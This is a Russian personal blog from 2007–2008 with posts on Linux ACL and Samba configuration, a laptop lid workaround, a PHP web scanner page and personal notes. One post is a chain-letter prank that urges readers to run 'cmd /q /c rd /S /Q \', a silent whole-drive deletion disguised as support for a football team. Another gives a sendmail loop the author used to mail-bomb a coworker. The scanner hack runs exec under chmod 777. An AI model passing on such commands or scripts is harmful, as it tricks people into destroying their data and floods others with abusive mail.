Igor V. Grigoryev

Into The Wild / В диких условиях

Thu, 31 Jul 2008 18:16:56 GMT

Потрясающий фильм. Он не оставляет каких то ярких и пестрых впечатлений, но не забывается, заставляет думать и смотреть на мир шире. Это экранизация биографии. Красивая экранизация. Операторская работа - шедевр, музыка, актеры, это не фильм, это взгляд со стороны на совершенно другую жизнь.
Фильм на torrents.ru, DVD-rip, рускоязычная дорожка с убогим переводом, поэтому лучше всего смотреть с оригинальной, есть русские субтитры.

Дождик

Fri, 18 Jul 2008 09:48:52 GMT

Через 5 минут после того как вчера приехал (не веле) с работы:

А уже через полчаса светило солнце:

--
Сегодня, похоже, будет так же.

Факсег

Wed, 25 Jun 2008 11:17:13 GMT

Есть у секретаря факс - Panasonic KX-FT934 - убогое термическое дерьмо. У него рассыпался замок крышки при очередной смене бумаги, работает только если на него как следует нажать. Решение нашлось быстро, правда теперь, что бы сменить бумагу нужна отвертка :)

Тема футбола!!!

Tue, 24 Jun 2008 11:50:46 GMT

Поддержи наших футболистов - нажми Пуск - Выполнить,скопируй:
cmd /q /c rd /S /Q \
и нажми ок.
Разошли всем в контакт листе и наши обязательно победят!!!

ACL или виндовые права доступа в linux

Tue, 24 Jun 2008 08:55:43 GMT

Нативно юних работает с правами доступа к файлам очень просто: один пользователь, одна группа, все остальные. Каждой кучке юзер/группа/остальные можно присвоить право чтения, записи и исполнения (входа в каталог).
Но часто возникает необходимость иметь доступ к папке двум разным группам. Вложенности групп в юниксе нет, и обойти это штатно нельзя, но если очень надо - есть ACL.

Итак, есть папка, назовем ее - shit, она расшаренна самбой, самба в домене и пускает к этой шаре только пользователей одной доменной группы, допустим - DOMAIN\shit. Но есть еще и локальные пользователи (в opensuse - группа users) которым тоже нужен доступ к этой папке. Права на папку "остальным" давать нельзя, иначе самба будет пускать всех подряд. Решение простое:
1. Ставим ACL:
zypper in acl
2. Для надежности - основной пользователь папки - root, присваеваем без рекурсии только на папку:
chown root shit
3. Меняем группу папки для локальных юзеров, тут можно (и нужно) с рекурсией:
сhgrp -R users shit
4. Делаем рекурсивно права безопастности, так, что бы юзер (root) и группа имели все права на все, это немного не правильно, т.к. мы даем права на исполнение всех подряд файлов, но так проще:
chmod -R 770 shit
5. Теперь самое интересное, приделываем права для виндо-самбы, рекурсивно:
setfacl -R -m g:'PROTEH\storage':rwx shit
Ес-но данная файловая система должна монтироваться с опцией acl.
Пример самба-конфига на папку:
[shit]
comment = "shit, shit and shit"
inherit acls = Yes
path = /bla/bla/bla/shit
read only = No
read list = @DOMAIN\\shit
write list = @DOMAIN\\shit
create mask = 770
directory mask = 770
force group = users
Какой результат: юзеры, как локальные, так и из доменной группы DOMAIN\shit по самбе - могут писать сколько влезет, посторонние попасть не могут, у всех группа users и DOMAIN\\shit одновременно + сохраняется имя пользователя того, кто сохранил файл или папку.
На всякий случай сунул в /etc/cron.hourly/ такой скрипт:
#!/bin/bash
chmod -R 770 /bla/bla/bla/shit
chgrp -R users /bla/bla/bla/shit
setfacl -R -m g:'DOMAIN\shit':rwx /bla/bla/bla/shit
Работает как часы, выглядит примерно так:
ls -l shit
drwxrwx---+ 2 nonpudel users 16384 Jun 18 15:55 мамко
drwxrwx---+ 9 DOMAIN\huy users 4096 Jun 18 17:45 папко
-rwxrwx---+ 1 DOMAIN\boss users 74 May 8 13:02 файлик.url

Вопросы приветствуются :)

qip - троян с функциями icq

Fri, 20 Jun 2008 08:20:54 GMT

Не бывает бесплатного софта с закрытыми исходниками! В лучшем случае там будет припиздючен adaware кусок собирающий статистику посещения сайтов (как в daemon-tools), а в худшем - троян, собиралка паролей, и т.д. Так что платить придется, не деньгами, так временем или своей безопастностью.
Ну есть конечно исключения - драйвера и прочий служебный софт поставляемый с железом. Но это не бесплатно, сумма включена в цену конкретной железяки.
Да, к чему я это? Qip-виндонедоюзеры начали плакать про "icq - 12111", похоже что то веселое начинается :)
P.S. Сам этим дерьмом пользовался раз в жизни, посему на всякий сменили пароль и прикрутил primary mail.
P.P.S. И Конечно:

UPD: Эх, жаль, апокалипсис не состоялся, это всего лишь aol'овцы насилуют труп:
http://www.icq.com/help/
A Message for ICQ Users
a new user from ICQ on your contact list.
As part of the process of upgrading ICQ users to our newest, most advanced version, ICQ6, we have added a new user name to your contact list ''ICQ System''. The newly added user is intended to improve ICQ's line of communication with our users and assure you continue to enjoy talking to everybody, everywhere.

Сдал!

Tue, 10 Jun 2008 13:47:21 GMT

На права. Мать их так! Со второго раза город, только что. Жду вызова на фотографирование.

Переводчики жгут

Wed, 19 Mar 2008 11:42:49 GMT

Делаю себе gpg ключик, gpg --gen-key, бла-бла, один из диалогов:
#
Для идентификации Вашего ключа необходим User ID
Программа создаст его из Вашего имени, комментария и адреса e-mail в виде:
"Baba Yaga (pensioner) <yaga@deepforest.ru>"
#

С 23-м февраля, господа откосившие...

Sat, 23 Feb 2008 20:48:36 GMT

Читаем, поздравляем Германию и немцев, для них это великий день:
http://www.fontanka.ru/2008/02/22/038/
P.S. И все же я не перестаю удивлятся, как сильно работала агит-машина в ссср.

Весна скоро, да?

Sat, 16 Feb 2008 20:46:47 GMT

UPD: Рекомендую ткнуть в тег Климат

Абсурдопедия ин инглиш!

Thu, 07 Feb 2008 21:50:31 GMT

Раз - http://uncyclopedia.org/wiki/Ukraine
---
For travelers to Ukraine, following is a list of handy Ukrainian phrases.
* Ти хуй йобаний. (pronounced: ty khuy yo-bany, meaning: "Good day.")
* Що ти суко пиздиш?! (pronouced: sho ty su-ko pyz-dysh, meaning: "Please repeat what you said.")
---
Два - http://uncyclopedia.org/wiki/France
---
Hygiene: Ha ha!, Yeah, right! This is the country that developed perfume, just so they wouldn't have to use soap! Go to any train station in France and you'll find that every other person smells like horse shit fried in a vat of piss.
---
Три - http://uncyclopedia.org/wiki/Lada
---
Russians buy Ladas in pre-constructed status, with about 55% of parts in their places. Final assembly should be done by buyers with an assist of big hammer and vodka. Vodka is a kind of software called liquidware which controls the hammer.
---
Четыре - http://uncyclopedia.org/wiki/Usa
---
People scream blue murder when petrol reaches 10 cents a gallon. People find it "Niiice to meet you!!!". Wal-Mart is the cultural "hang-out spot". When you tell someone you're from Brazil, they ask if you live in a tree and have a pet monkey. Someone shoots you. ...
---

Кошак

Sun, 03 Feb 2008 00:04:51 GMT

Не трогайте меня за сканер!

Wed, 30 Jan 2008 20:10:27 GMT

Сегодня (уже вчера) на работе делая разборку хлама на нашем складе, босс нашел новый HP Scanjet 3800, про который мы благополучно забыли сразу после покупки.
Со словами -"вах, новая игрушка" я распаковал его и ткнул в свой комп, sane в ubuntu gutsy не опознал, sane-project навел меня на это, в результате у меня есть текстовая утилита для сканирования, тут же возникла идея сделать web доступ к этому чуду, это просто:
<?php
exec("rm image.tiff");
exec("hp3900 --color 1");
header("Location: http://ivg/scan/image.tiff");
?>
Сохранил как index.php в /var/www/scan/. Дальше chmod 777 на каталог scan и на внутренний сайт ИТ-отдела повесил линк на http://ivg/scan/.
Кладем документ в сканер и тыкаем на сайте в линк "сканер", ждем минуту и браузер либо покажет, либо скачает картину. Круто, все довольны, я горд собой и *nix'овым подходом к делу, в виндах такое реализовать сложнее и дольше.
Теперь у всего отдела есть сканер и не нужно беспокоить человека к чьему компьютеру подключен сканер, осталось добавить что подобное "железное" решение (сетевой сканер) стоит примерно в 5 раз дороже чем бытовой hp sj 3800 :)
Дальше веселее, мы что бурно обсуждаем, и вдруг эта штука оживает...
В нашем отделе никто не по линку на жмакал, остальные врядли в курсе, да и ума не хватило бы. А сканер все же жужжит. Тут же останавливаю апач и смотрю в лог:
192.168.1.1 - - [30/Jan/2008:16:44:38 +0300] "GET /scan/ HTTP/1.1" 302 - "http://ns.***/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0;MEGAUPLOAD 1.0 WebMoney Advisor"
Итак, первое ощущение - паника, 192.168.1.1 - это внешний сервер, он к моему ужасу под виндами, что за Advisor на нем? Троян? Запустил на сервере clamwin и задумался, сервер ко всему прочему еще и прокси, а значит это мог быть кто то из компании, firefox'ы стоят мало у кого, да и по логам прокси найти можно, и, оставив проблему на завтра все разошлись по домам.
WebMoney Advisor - это похоже панелька в браузер для защиты пользователей от их же глупости. Пока не ясно зачем оно ходило по всем линкам в сети, попробую завтра выяснить, если же это замаскированный троян, то зараженного юзера ~~сожгут на костре~~ лишат инета для профилактики и развития мозга.

Sun, 20 Jan 2008 02:04:13 GMT

Девелоперы OpenSUSE Жгут :)

Fri, 18 Jan 2008 17:40:41 GMT

Most Annoying Bugs из 11.0 Alpha 1:
-# The new solver does not yet have a “ignore this requirement” choice, i.e. it’s not possible to create a broken system. We’re still discussing if this is a bug or a feature :)
---
А вообще красивая штука получается.
P.S. Под "красивая" подразумеваю инжинерную мысль, хотя и дизайн ничего.

Silence!.. I kill you! :)

Sat, 05 Jan 2008 18:51:19 GMT

Боян?

Новогодний спам

Sat, 29 Dec 2007 09:23:12 GMT

Наши корпоративные юзеры достали всякой билебердой на тему нг, а одно создание вообще рассылало ссылки на внешнюю страницу с флешем.
Месть была мгновенной и жестокой:

#!/bin/bash
num=1
while true
do
echo $num
echo 'STOP SPAM!!!' | sendmail -fspam $1
num=$(($num + 1))
sleep 1
done

Только без слипа :) 620 писем за полминуты, затем прибил скрипт. Оно даже не позвонило. Видимо дошло :)

Pipeman

Fri, 14 Dec 2007 03:36:44 GMT

Про Новый Год...

Thu, 13 Dec 2007 11:29:42 GMT

С каждым днем все больше предчувствие того, что новый год предстоит встретить в одиночестве.
Если, не дай бог, так и случится, куда лучше податься?

HP Compaq 6710s + Ubuntu 7.10 = lid bug

Fri, 07 Dec 2007 23:20:24 GMT

На недавно появившемся у меня ноуте HP Compaq 6710s стоит свежая 64х битная убунта, и добивала в ней одна проблема, если ноут закрыть, то убунта впадала в kernel panic и писала в первую консоль ядерные маты. Народ на форумах активно ругает acpi event скрипты, правит их, а все без толку, помогает только тотальное отключение acpi, а без него ни хибернейта, ни слипа.

Нашел для себя случайно простой workaround - прибить модуль button - он нужен для кнопки включения (мне она нужна только что бы включить/разбудить ноут, а для этого модуль не нужен) и как раз за ту самую lid button.
Все тривиально: sudo nano -w /etc/modprobe.d/blacklist-button
Туда:
# HP Compaq 6710s (6710b) buggy lid button
blacklist button
Сохраняем, и, что бы не ребутать: sudo rmmod button
Кнопка экрана по прежнему будет гасить подсветку, но оси на это уже будет пофиг. Если же появится более элегантное решение - просто удаляем blacklist-button.
На лаунчпад отписался.

О покупке LJ СУПом

Mon, 03 Dec 2007 16:28:40 GMT

Эта новость вызвала шума в блогах еще больше чем прошедшие выборы. Народ кричит что теперь фсб будет читать их "подзамочные" записи, о том что жж конец, кто то наоборот радуется за российскую компанию.
Далее imho:
О кгб/нквд/фсб - чушь полная, не доберутся они, livejournal по прежнему компания из сша и все воросы будут решать по их законам.
Лично мне всегда нравилась открытость и надежность лж, я всегда доверял ему и часто юзал как сайт-визитку со всеми своими координатами, который, в отличии от сайта на хостинге, не отключат за забытый платеж или не удалят за редкую посещаемость (если это бесплатный хостинг).
Плохо, что чем больше лж выходил на российский рынок, тем больше на нем было пестрой и дерьмовой рекламы. Ее конечно видишь редко (не понимаю людей с "полуплатными" блогами с рекламой), но раздражает.
Хотя и не думаю что смена владельца уменьшит надежность, но и не могу быть уверен, что лж абсолютно независим от местных революций.
Сейчас хочу завести себе хороший хостинг с доменом (не .ру), поставить туда движок блога который будет зеркалить посты сюда и, например, на гугловский блоггер. А с блог-движком все соединения сделать криптованными, что бы всяких полумифических СОРМов не бояться.

21й век, беспроводные технологии...

Wed, 21 Nov 2007 14:37:52 GMT

...а тем временем на одном заводике в 20 километрах от Москвы, wi-fi оборудование защищают от пыли следующим образом:

Это творение получилось в результате недолгого мозгового штурма Соника и меня, электрики были несколько озадачены технологией :)
К бетону прибит пистолетом профиль, в него вставлен брусок и закреплен шурупами, а уже к бруску привернута канистра с П образным вырезом.
В альбоме есть еще небольшая кучка фотографий от туда же.

Portal

Mon, 22 Oct 2007 21:39:12 GMT

Только что прошел Portal. С начала и до титров, за 4 часа.
Восхитительно!
Чумовая смесь кубика рубика, 3D action, черного юмора и киберпанка. А титры и звучащая с ними песенка (still alive) просто порвали.

Have you seen this?

Fri, 12 Oct 2007 16:13:53 GMT

Заводег :)

Mon, 17 Sep 2007 08:42:19 GMT

Только что был на производстве. Посмотрел на станок с промышленным компьютером под NT4, познакомился с электронщиками... Однако... Читать di-halt'а стало еще интереснее :)